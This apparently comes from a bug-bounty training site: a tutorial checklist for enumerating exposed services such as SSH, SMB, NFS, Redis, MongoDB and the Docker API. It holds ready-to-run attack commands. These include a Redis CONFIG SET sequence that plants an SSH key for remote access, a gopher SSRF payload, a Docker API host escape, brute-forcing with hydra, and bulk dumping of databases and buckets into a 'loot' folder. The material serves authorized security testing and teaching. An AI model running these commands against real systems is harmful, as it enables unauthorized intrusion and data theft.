Beginner levelFree

Services checklist — first touch on any target (SSH, FTP, SMB, NFS, Redis, Mongo, RDP)

A practical first-enumeration checklist for the 15 most common services in pentesting: ports, default credentials, typical exploits and misconfigurations.

Gorka El BochiMay 11, 202611 min

Quick answer

Before hunting web bugs, map the target's exposed services with a consistent first touch. The methodology: nmap top-1000 + version detectionservice-specific probes (SSH banner, SMB null session, NFS showmount, Redis INFO, Mongo isMaster) → default credentialsknown misconfigurations. Typical bounty for a Redis without auth and CONFIG SET enabled: €2000-€8000 if it touches production infra.


The first touch — nmap correctly

Before touching anything, scan well. The difference between a random nmap -p- and a structured scan is 80% of the work.

bash
# Fast top 1000 + version detect
nmap -sV -sC -T4 --top-ports 1000 -oN quick.txt target.com

# Full port — whenever the target allows it
nmap -p- -sV -sC -T4 -oN full.txt target.com

# UDP top 100 (slow but sometimes gold)
sudo nmap -sU --top-ports 100 -T4 -oN udp.txt target.com

[!tip] Fast banner grabbing nc -nv target.com 22 or curl -v telnet://target.com:6379 gives you the banner + version without waiting for the full scan. Useful when you already have a candidate IP from recon.


Services table — first touch

ServicePortInitial commandWhat to look for
SSH22ssh -v targetBanner version, key auth only, CVE-2025-32433 (Erlang OTP)
FTP21ftp target (user anonymous)Anon login, vsftpd 2.3.4 backdoor, writable dirs
SMB139/445enum4linux-ng targetNull session, listable shares, RID user enumeration
NFS2049showmount -e targetWorld-readable exports, no_root_squash
RDP3389rdp-sec-check targetNLA disabled, BlueKeep (CVE-2019-0708), weak creds
Redis6379redis-cli -h target INFONo auth, CONFIG SET dir → RCE via SSH key write
Mongo27017mongosh "mongodb://target"No auth, show dbs lists everything, full dump
Memcached11211echo "stats" | nc target 11211No auth, amplification reflector
Elastic9200curl target:9200/_cat/indicesNo auth, full data in _search
Kibana5601curl target:5601/api/statusPath traversal, old prototype pollution
MySQL3306mysql -h target -u root -p ''Root without password, anonymous user
Postgres5432psql -h target -U postgresTrust auth, default postgres/postgres
Docker2375/2376curl target:2375/versionAPI without TLS → trivial container escape
Jenkins8080curl target:8080/scriptScript console without auth → groovy RCE
RabbitMQ15672curl target:15672/api/whoamiDefault guest/guest

SSH — beyond the banner

bash
# Banner + supported algorithms
nmap -p22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com

# Brute-force only if the program's policy allows it (rare)
hydra -L users.txt -P pass.txt ssh://target -t 4

Things to report:

  • ssh-rsa with MD5 as the signature algorithm (deprecated since OpenSSH 8.8).
  • Password auth enabled on production boxes.
  • A banner that leaks the exact version vulnerable to a known CVE.
  • Erlang/OTP banner → potentially CVE-2025-32433 (pre-auth RCE).

SMB / NFS — the lateral classics

bash
# SMB null session (no password)
smbclient -L //target/ -N
enum4linux-ng -a target

# List shares and mount
smbmap -H target
mount -t cifs //target/share /mnt -o user=,password=

# NFS exports
showmount -e target
mount -t nfs target:/export /mnt

[!warning] no_root_squash If showmount -e lists an export without root_squash, you mount as local root and write files with UID 0 → instant privesc on the server. Reportable as High in any bug bounty program with internal infra in scope.


Redis without authentication — the classic that pays

Redis is still the #1 target for "oops, I left it open" in 2026.

bash
redis-cli -h target.com
> INFO
> CONFIG GET *
> KEYS *

If CONFIG SET is not disabled:

bash
# Write an SSH key as the redis-server user (typical)
redis-cli -h target FLUSHALL
redis-cli -h target SET x "\n\n$(cat ~/.ssh/id_rsa.pub)\n\n"
redis-cli -h target CONFIG SET dir /var/lib/redis/.ssh/
redis-cli -h target CONFIG SET dbfilename "authorized_keys"
redis-cli -h target SAVE

If it's exposed only to localhost but there's an SSRF in the web app → gopher://127.0.0.1:6379/_FLUSHALL%0d%0a... executes the same commands. Real bounty €3000-€8000.


MongoDB without auth — full dump

bash
# Connection without a password
mongosh "mongodb://target.com:27017"
> show dbs
> use admin
> db.users.find().pretty()

# Full dump
mongodump --host target.com --out ./loot/

Always report: the count of accessible documents, the types of sensitive data (emails, hashes, PII), the Mongo version (< 3.6 doesn't require auth by default in many deployments).


Exposed frameworks — paths always worth trying

bash
# Concat of typical paths per framework
ffuf -u https://target.com/FUZZ -w framework-paths.txt -mc 200,401,403
FrameworkTelltale path
Symfony/_profiler, /app_dev.php
Laravel/.env, /telescope, /_debugbar
WordPress/wp-json/wp/v2/users, /xmlrpc.php
Django/admin/, /__debug__/
Rails/rails/info/routes
Spring Boot/actuator/env, /actuator/health
Express/api-docs, /swagger
Flask/console (Werkzeug debug)

Exposed Docker API

bash
# Quick check
curl http://target:2375/version

# List containers
curl http://target:2375/containers/json

# Container escape — mount the host root
docker -H tcp://target:2375 run -v /:/host -it alpine chroot /host /bin/bash

This is an instant Critical. The Docker API on port 2375 without TLS = host root.


Cloud storage — buckets are still gold

bash
# AWS S3
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp s3://target-bucket/ ./loot/ --recursive --no-sign-request

# GCS
curl https://storage.googleapis.com/target-bucket/

# Azure
curl "https://target.blob.core.windows.net/?comp=list"

Naming guess: target, target-assets, target-prod, target-backup, target-dev, target-uploads, target-static, target-staging.


Hunting checklist

  • nmap -sV -sC --top-ports 1000 before touching anything
  • nmap -p- when the program allows full scans
  • Manual banner grab with nc/curl on every weird port
  • SMB null session: enum4linux-ng -a target
  • NFS exports: showmount -e target → look for no_root_squash
  • Redis: redis-cli INFO and check CONFIG GET dir
  • Mongo: mongosh without a password, show dbs
  • Elasticsearch: curl :9200/_cat/indices?v
  • Docker API: curl :2375/version → if it responds, Critical
  • Cloud buckets: names derived from the domain + S3Scanner
  • Frameworks: /actuator/env, /_profiler, /console, /telescope
  • Default creds on every admin panel found (Jenkins, RabbitMQ, Tomcat)

Practice service enumeration on real infra with misconfigurations reproduced from real bug bounties in the Services Pentesting labs.

Practice this in a lab

Services Checklist

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

How to chain a Redis misconfig with SSRF for clean RCE on internal infra without authentication — and why Redis is still the #1 bug target among internal subdomains in 2026.

Unlock

€7.99/mo · cancel anytime

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy